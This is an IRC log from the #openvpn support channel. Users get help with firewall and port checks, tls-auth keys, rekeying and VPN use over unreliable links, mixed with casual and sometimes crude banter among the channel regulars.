09:44 -!- master_o1_master [~master_of@p4FF24FD6.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
09:44 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Excess Flood]
09:47 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:48 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
09:48 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
09:49 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:49 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Excess Flood]
09:51 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Ping timeout: 250 seconds]
09:52 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
09:54 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:59 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:13 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:15 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
10:15 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:16 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Ping timeout: 272 seconds]
10:21 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 245 seconds]
10:25 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
10:25 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
10:25 -!- mode/#openvpn [+v hazardous] by ChanServ
10:29 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds]
10:32 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
10:32 -!- mode/#openvpn [+o dazo_afk] by ChanServ
10:32 -!- dazo_afk is now known as dazo
10:35 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:40 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
10:40 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Remote host closed the connection]
10:48 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:49 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
10:50 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
10:53 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
10:57 -!- subsu [~daniel@f048029112.adsl.alicedsl.de] has joined #openvpn
11:07 < subsu> After I've started my openvpn server the port 1194 is still closed on the server according to nmap. Shouldn't that port be open?
11:09 < Fohlen> depends on your firewall
11:11 <+pekster> nmap can't "detect" an openvpn server on UDP unless the server fails to reply on the listening port and all other "closed" ports emit an ICMP port-unreachable reply
11:11 <+pekster> And yes, firewall can impact that greatly, as can the choice of udp vs tcp
11:20 -!- fred`` [fred@earthli.ng] has joined #openvpn
11:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:34 < subsu> Fohlen: I can run openvpn server+client manually and then client connects properly, does this imply that my firewall is ok?
11:44 < EugeneKay> It implies that it's configured properly for access.
11:44 < EugeneKay> It doesn't say anything about whether you're blocking other things
11:46 -!- Fetch_ is now known as Fetch
11:49 < subsu> EugeneKay: Other things like what? I should probably add that I'm _not_ a sysadmin and my network knowledge is abysmal. I will not get the proper openvpn configuration until next week but a project I'm working on is depending on openvpn working…
11:49 < EugeneKay> !firewall
11:49 <@vpnHelper> "firewall" is (#1) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#2) see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for brief notes on disabling firewall rulesets. or (#3) Please see this for a better method to unloading netfilter (aka iptables ) rules: https://gist.github.com/QueuingKoala/6350127
11:49 < EugeneKay> Not what I was looking for
11:50 < EugeneKay> In a nutshell, firewall configuration is a long+complicated topic, and you're not paying me enough to talk on it.
11:50 < subsu> EugeneKay: I know, thank you though.
11:56 <@krzee> subsu, is your setup for fun (home, playing) or business?
11:56 <@krzee> !netfilter
11:56 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
12:02 < subsu> krzee: It is business, I'm just stuck at the moment because the proper openvpn setup will arrive next week and I need something up and running now for a project depending on openvpn(my setup will never be used in production). Looking at iptables now, hopefully I'll solve this without spamming this channel anymore.
12:03 <@krzee> based on "I'm _not_ a sysadmin and my network knowledge is abysmal." I think your business should consider hiring a tech to set up your vpn
12:04 <@krzee> because this is advanced networking, and requires knowing the OS's as well
12:05 <@krzee> of course if this was for the joy of learning at home, then i would not be saying that? but i would not recommend for a business to have their advanced networking done by a non-sysadmin / non-network-tech
12:05 < subsu> krzee: Yes, they did, but unfortunately the deadlines for different parts of the project got screwed up. I'm a programmer and I'm fully aware of that I don't know anything about networking or security.
12:06 <@krzee> cool i just felt that was worth saying
12:06 < subsu> As you should
12:06 <@krzee> but ya, nmap should not be able to scan a proper vpn setup
12:06 <@krzee> !hmac
12:07 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make the tls
12:07 <@vpnHelper> static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
12:07 <@krzee> because of that =]
12:08 <@krzee> and to check if a port is open locally, netstat -nl
12:08 <@krzee> you dont need to scan yourself for that
12:10 < subsu> Finally got it working(tcp in fw rules, udp in openvpn config). Thanks a bunch for all information.
12:13 <@krzee> if you want me to take a quick look at the configs, do this
12:13 <@krzee> !configs
12:13 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
12:13 <@krzee> that way i can give any quick pointers if you like
12:29 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
12:30 < subsu> krzee: Thank you for your offer but now everything I need for my part of the project is up to continue is up and running, security holes included:)
12:30 <@krzee> cool
12:31 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
12:35 -!- subsu [~daniel@f048029112.adsl.alicedsl.de] has left #openvpn []
12:37 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has joined #openvpn
12:38 < debbie10t> so we are getting a glut of hideip-europe.kryptotel.net problems with conflicting network on 192.168.1.0/24 - so they are doing a piss poor job
12:41 <+pekster> "we" ?
12:42 <+pekster> Sounds like "them" and in this case "they suck". Plenty of idiots on the planet; I'm hardly going to loose sleep or care more than the 60 seconds I just did about it
12:42 < debbie10t> on the forum there has been a few of them today all with the same problem .. "we" as in the forum .. you can maintain your position here pekster
12:42 < debbie10t> anyway
12:43 <+pekster> Copy URL to prior answer, paste, click post.. ;)
12:43 < debbie10t> to be honest all i was going to do was paste in the "support" url for hidemyip
12:43 <+pekster> Yup
12:43 < debbie10t> yup
12:44 <+pekster> No idea why this "VPN to hide me" thing is so popular; all it takes is legal strong-arming from the local legal presense and, thanks to VPNs providing strong authentication, the endpoints of traffic can easily be discovered
12:45 <+pekster> I'm just waiting for some "popular service" to get served an NSL (or $whatever in another country) and the entire thing to be shown for the house of cards it is
12:46 < rob0> Might still have to go through the ISP to identify the person, though ... depends how the service was paid for.
12:47 < debbie10t> yup - we had this one today wants to encrypt his home network with ovpn so he can browse the internet "securely" .. hey .. there's one born every minute .. someones gotta rip em off ;)
12:50 < debbie10t> the more i see the more i realise why so many don't get answered ..
12:51 < debbie10t> c'est la vie
13:00 < debbie10t> I was wondering how this could be https://forums.openvpn.net/post35744.html#p35744
13:00 <@vpnHelper> Title: OpenVPN Support Forum ta.key change character on the client : Configuration (at forums.openvpn.net)
13:00 < debbie10t> other than the obvious user error.
13:01 < debbie10t> i know it more or less has to be user error .. but the user seems adamant .. is it related to persist somehow .. considering he apparently completely stop/started openvpn service
13:10 -!- martin-_-_ [~martin___@chello084114157002.4.15.vie.surfer.at] has joined #openvpn
13:10 < martin-_-_> greetings
13:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:23 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
13:29 <@ecrist_> krzee: I could go back to using pisg for stats
13:30 <@ecrist_> I redid it in mirc
13:33 <+pekster> debbie10t: That was incomplete advice you gave, as answered in this FAQ: http://openvpn.net/index.php/open-source/faq/community-software-server/327-changed-hex-bytes-in-the-static-key-the-key-still-connects-to-a-remote-peer-using-the-original-key.html
13:33 <@vpnHelper> Title: Changed hex bytes in the static key, the key still connects to a remote peer using the original key. (at openvpn.net)
13:34 <+pekster> "any char" is a misnomer since "only those that are used" are important; the rest can be chagned
13:38 < debbie10t> ok - thanks pekster - as ever you are infallable .. sorry i did search but i guess my searches were not accurate enough
13:38 < debbie10t> excellent answer though ..
13:42 <@krzee> ecrist_, i guess whatever works best for you =]
13:42 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
13:43 -!- u0m3_ [~u0m3@92.80.74.24] has joined #openvpn
13:43 <@krzee> i would assume pisg would be easier to automate and whatnot, but i dunno how you have it setup
13:45 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
13:46 -!- u0m3 [~u0m3@92.80.74.24] has quit [Ping timeout: 246 seconds]
13:47 <@krzee> debbie10t, you should also tell the user to consider the keys he pasted as dirty, and to use new ones.
13:48 <@krzee> =]
13:48 < debbie10t> ok
13:49 -!- AginLap [~AginLap@109.201.154.151] has joined #openvpn
13:51 <@ecrist_> yeah, I forgot I was using pisg
13:52 <@ecrist_> that will be easier
13:52 <@ecrist_> and I still probably have those configs somewhere
13:52 -!- AginLap [~AginLap@109.201.154.151] has quit [Client Quit]
13:53 -!- franks2 [~frank@unaffiliated/franks2] has quit [Ping timeout: 248 seconds]
13:58 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
14:00 -!- franks2 [~frank@frank2.net] has joined #openvpn
14:03 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:04 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
14:05 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:08 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Operation timed out]
14:10 -!- jonascj [~jonas@84.238.7.21] has joined #openvpn
14:10 < jonascj> !paste
14:11 <@vpnHelper> "paste" is (#1) "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments or (#2) gist allows multiple files per paste, useful if you have several files to show
14:13 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
14:14 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
14:17 -!- martin-_-_ [~martin___@chello084114157002.4.15.vie.surfer.at] has quit [Read error: Connection reset by peer]
14:29 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
14:32 -!- eth00 [~John@unaffiliated/eth00] has quit [Quit: Leaving]
14:36 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
14:39 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
14:40 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has joined #openvpn
15:02 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
15:08 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Remote host closed the connection]
15:09 -!- kirin` [telex@gateway/shell/anapnea.net/x-mpzopptwwrhxjiul] has quit [Read error: Operation timed out]
15:09 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
15:09 -!- kirin` [telex@gateway/shell/anapnea.net/x-fcxzjpwenmcuuxyv] has joined #openvpn
15:09 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
15:12 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
15:18 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
15:19 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
15:23 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 265 seconds]
15:27 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
15:32 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 246 seconds]
15:34 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
15:40 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 272 seconds]
15:42 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
15:47 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
15:49 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
15:55 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
15:58 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:04 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 246 seconds]
16:04 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
16:06 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:12 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
16:16 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:23 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 246 seconds]
16:27 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:28 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
16:31 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
16:33 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 250 seconds]
16:34 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:34 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
16:37 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:37 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:40 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 246 seconds]
16:44 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:50 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 253 seconds]
16:52 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:59 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 272 seconds]
17:03 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:08 -!- jonascj [~jonas@84.238.7.21] has left #openvpn []
17:08 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 246 seconds]
17:10 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:14 -!- Agin [~Agin@shell01.copyleft.no] has quit [Ping timeout: 260 seconds]
17:15 -!- franks2 [~frank@frank2.net] has quit [Ping timeout: 240 seconds]
17:15 -!- franks2 [~frank@frank2.net] has joined #openvpn
17:16 -!- keithzg [~quassel@184.70.164.246] has quit [Remote host closed the connection]
17:17 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 246 seconds]
17:21 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:21 -!- Agin [~Agin@shell01.copyleft.no] has joined #openvpn
17:27 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
17:31 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:37 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 250 seconds]
17:39 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:45 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
17:46 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:50 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 272 seconds]
17:51 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has left #openvpn []
17:52 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
17:54 -!- crus [~crusader@2001:44b8:319e:2900:218e:9989:b28d:fc7a] has joined #openvpn
17:57 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
18:03 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
18:04 -!- liriel is now known as liriel2
18:04 -!- liriel2 is now known as liriel
18:07 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
18:13 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
18:14 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has left #openvpn []
18:17 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
18:26 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
18:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:14 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Read error: Operation timed out]
19:14 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
19:21 -!- uuuppz [uuuppz@78.129.207.46] has quit [Quit: leaving]
19:26 -!- namidark [~namidark@192.34.61.38] has quit [Read error: Operation timed out]
19:28 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
19:35 -!- Agin [~Agin@shell01.copyleft.no] has quit [Ping timeout: 272 seconds]
19:35 -!- Agin [~Agin@shell01.copyleft.no] has joined #openvpn
19:55 -!- You're now known as ecrist
19:58 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
20:11 -!- Tera [~tera@ip133-114.seclan.com] has quit [Read error: Connection reset by peer]
20:21 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
20:37 -!- Agin [~Agin@shell01.copyleft.no] has quit [Ping timeout: 245 seconds]
20:38 -!- Agin [~Agin@shell01.copyleft.no] has joined #openvpn
20:41 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 272 seconds]
20:42 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
20:58 <@ecrist> krzee: ping
20:58 <@ecrist> your pisg stats are back
21:00 <@krzee> yay
21:00 <@krzee> !learn karma as nick++ adds karma nick-- adds bad karma, as seen in !ircstats
21:00 <@vpnHelper> Joo got it.
21:00 <@ecrist> turns out, when I moved hosts, all the config/etc was there, I just didn't have the cron job
21:00 <@krzee> !ircstats
21:00 <@vpnHelper> "ircstats" is (#1) See http://secure-computing.net/logs/openvpn.html for all-time IRC stats. or (#2) See http://secure-computing.net/logs/openvpn-devel.html for all-time dev channel IRC stats.
21:00 <@krzee> oh hahah
21:01 <@krzee> im the only channel regular with bad karma, thanks EugeneKay :D
21:01 < EugeneKay> !blame
21:01 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments or (#4) cron2 says its always d12fk's fault (and sometimes the customers)
21:02 <@krzee> hahahah
21:02 <@krzee> nice =]
21:02 < EugeneKay> !eugenekay
21:02 <@vpnHelper> "eugenekay" is right because EugeneKay is always right.
21:02 <@ecrist> dazo has 146 nicknames
21:02 <@ecrist> lol, THUNDERQUEER was attributed to EugeneKay 
21:02 <@krzee> he's hella guests
21:02 < EugeneKay> wat
21:02 <@krzee> hahahaha that script knows!
21:03 <@ecrist> that is all kinds of win
21:03 < EugeneKay> Interesting that it thinks I'm Tommy
21:03 <@krzee> krzee talks to himself a lot. He wrote over 5 lines in a row 1401 times!
21:03 <@krzee> Another lonely one was vpnHelper, who managed to hit 381 times.
21:04 <@krzee> vpnHelper making that list has to be from when the forums announced in here
21:04 <@krzee> before they got too busy for that to work
21:04 < EugeneKay> Likely.
21:04 <@krzee> mircstats has more stuff, but i like pisg more simply because it has karma!
21:04 -!- mode/#openvpn [+o EugeneKay] by ChanServ
21:05 -!- krzee was kicked from #openvpn by EugeneKay [Increasing your kick count]
21:05 <@ecrist> I'm going to write an irssi php parser, I think
21:05 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
21:05 -!- mode/#openvpn [+o krzee] by ChanServ
21:05 <@EugeneKay> That's terrifying to consider
21:05 <@ecrist> lol
21:05 <@ecrist> ecrist always lets us know what he's doing: 1092 actions!
21:05 <@ecrist> For example, like this: * ecrist rocked out with his cock out in Sturgis, SD 
21:06 <@ecrist> fwiw, this is the all-time log
21:06 <@ecrist> going all the way back to 2008
21:06 <@EugeneKay> I run regular stats for #git since 2012 and last-30-days
21:07 <@ecrist> these stats will now be generated every 3 hours shortly past the half hour
21:07 <@ecrist> like they were before
21:07 <@EugeneKay> Nice
21:07 <@EugeneKay> My logs dir is up to 825M
21:07 <@EugeneKay> Wow
21:08 <@ecrist> I'm only at 571M
21:08 <@ecrist> you must irc a lot more than I
21:09 <@EugeneKay> I'm in a fair number of spammy channels, yeah
21:10 <@krzee> my logs dir doesnt exist
21:10 <@krzee> thats how i roll!
21:10 <@krzee> "     * ecrist rocked out with his cock out in Sturgis, SD"
21:11 <@krzee> lol lol that *is* pretty epic
21:11 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has quit [Ping timeout: 240 seconds]
21:14 <@ecrist> EugeneKay: it really wouldn't be too difficult to write a log parser, particularly how I have the logs divided on my web server
21:14 <@EugeneKay> But php?
21:14 <@ecrist> irssi logs are fairly easy to parse
21:14 <@ecrist> what's wrong with PHP?
21:14 <@EugeneKay> !google php hammer
21:14 <@vpnHelper> PHP Hammer - a set on Flickr: <http://www.flickr.com/photos/raindrift/sets/72157629492908038>; Coding Horror: The PHP Singularity: <http://www.codinghorror.com/blog/2012/06/the-php-singularity.html>; PHP: a fractal of bad design - fuzzy notepad: <http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/>
21:14 <@ecrist> the hard part of this is reading the file 
21:15 <@ecrist> meh, you can google any language and come up with haters
21:15 <@ecrist> knowing PHP and Perl bought me a 5-series. :P
21:16 <@EugeneKay> Yes, but few are this well deserved
21:16 <@EugeneKay> That's nice :-p
21:16 <@EugeneKay> But still, painnn
21:16 <@ecrist> if you knew how much porn and booze I consume in a given work day, and still manage to get paid...
21:17  * EugeneKay grabs girlfriend's boobie, sips beer
21:18 <@EugeneKay> quick, eugene's out of the room. SAVE ME.
21:18 <@ecrist> LOL
21:19 <@ecrist> he tied you to the radiator, didn't he.  so very predictable.
21:20 <@EugeneKay>  he doesn't even know what the grapist is :(
21:44 <@krzee> hey look at pekster's meteoric rise to the top of the ircstats
21:46 -!- skysploit [~skysploit@unaffiliated/skysploit] has joined #openvpn
21:49 < skysploit> can anyone point me in the right direction on how to properly setup openvpn to auto-start on debian? Im using the OpenVPN Access Server virtual machine and the client has an ovpn file (which works just fine) that has all the certs and tunneling info built into a single file. Thanks
21:49 <+pekster> !as
21:49 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
21:50 < skysploit> will do... thanks
21:56 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 272 seconds]
21:58 -!- Hazza [~Harrison@162.243.39.102] has quit [Ping timeout: 246 seconds]
22:00 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
22:02 -!- krz-z [~krzee@2610:150:4002::3:1] has joined #openvpn
22:02 -!- krz-z [~krzee@2610:150:4002::3:1] has quit [Client Quit]
22:08 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
22:11 -!- Haxxa [~Harrison@162.243.39.102] has joined #openvpn
22:15 -!- Haxxa [~Harrison@162.243.39.102] has quit [Ping timeout: 245 seconds]
22:25 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
22:26 -!- skysploit [~skysploit@unaffiliated/skysploit] has quit [Quit: Leaving]
22:38 -!- franz___ [~franz@kalium.0x49.net] has joined #openvpn
23:29 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:29 -!- C1ph3r [~Cipher@unaffiliated/c1ph3r] has joined #openvpn
23:37 -!- C1ph3r [~Cipher@unaffiliated/c1ph3r] has left #openvpn ["parts"]
23:38 -!- C1ph3r [~Cipher@unaffiliated/c1ph3r] has joined #openvpn
23:38 < C1ph3r> if I get a SIGUSR1 about once every hour is that normal ? =)
23:40 <@krzee> openvpn is probably just rekeying
23:41 <@krzee> which is normally done hourly
23:41 <@krzee> !reneg
23:41 <@krzee> !factoids search reneg
23:41 <@vpnHelper> No keys matched that query.
23:41 <@krzee> fine :-p
23:41 < franz___> How does OpenVPN perform on unreliable network connections?
23:41 < C1ph3r> ok thanks :)
23:42 <@krzee> franz___, it should still work, with degraded performance, and stay away from tcp for the vpn itself
23:43 <+pekster> UDP won't really "degrade" performance any more than the network does outside of TLS transit
23:43 <+pekster> And after the first auth, TLS is only used for rekeying and the old key is valid for (by default) an entire hour; however, the TLS has a (by default) 60 second timeout
23:44 <+pekster> So if you can't rekey within 60 second by an hour you'll run into issues; if your link is that bad you need a new one
23:44 <@krzee> yep ^
23:44 < franz___> So for example if I travel by train and have several connection interrupts I can still have a working SSH session if the connection will be online again fast enough?
23:44 <@krzee> yes, i do that
23:45 <@krzee> when on the train in california
23:45 <+pekster> You'll want some of the --persist options, and when using --persist-tun or --persist-ip you really need a static (see !static) IP for the client or that won't work well
23:45 < franz___> pekster: static internal or external?
23:46 <+pekster> For the VPN IP
23:46 < franz___> ok
23:46 <+pekster> You can't keep sockets open if the IP (one element of the tuppled used by a network socket) changes
23:46 <+pekster> ssh won't magically know what you've done
23:46 <+pekster> tupple*
23:47 < franz___> krzee: There is no real train in Texas except for the coast
23:47 < franz___> pekster: Ok, thanks
23:58 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 240 seconds]
--- Day changed Thu Dec 05 2013
00:00 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
00:03 -!- obesd [~obsed@ppp121-45-219-13.lns20.cbr1.internode.on.net] has quit [Ping timeout: 260 seconds]
00:07 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
00:16 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has joined #openvpn
00:34 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 246 seconds]
00:36 -!- franz___ [~franz@kalium.0x49.net] has quit [Quit: Leaving...]
01:17 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:19 -!- pagios [pagioss@gateway/shell/bnc4free/x-fiqzpvjpkszqowzw] has joined #openvpn
01:19 < pagios>  hi all has anyone tried doing some 3g bonding over openvpn? I heard it can work well please share thanks
01:28 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 245 seconds]
01:32 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
01:34 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
01:35 <@krzee> pagios, please tell me what you mean when you say bonding
01:35 < pagios> krzee: join multiple 3g dongles uplinks and get a bigger throughput by doing some tuning on layer2
01:36 <@krzee> i have never tried it, but someone once came here and had done it
01:36 <@krzee> he was running into buffer issues
01:36 < pagios> do you recall his name? i am looking to hire someone if he did it
01:36 <@krzee> because one link would go faster than the other, and his bonding setup required them to be same speed so stuff would buffer
01:37 <@krzee> nah man this was years ago
01:37 < pagios> ah
01:37 <@krzee> i dont know if he ever fixed the buffering issue or not either
01:37 < pagios> there are companies that did it
01:38 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
01:38 -!- FrankMartin [~lx@93.115.84.195] has joined #openvpn
01:38 <@krzee> but to fix it he would have needed some sort of layer2 qos
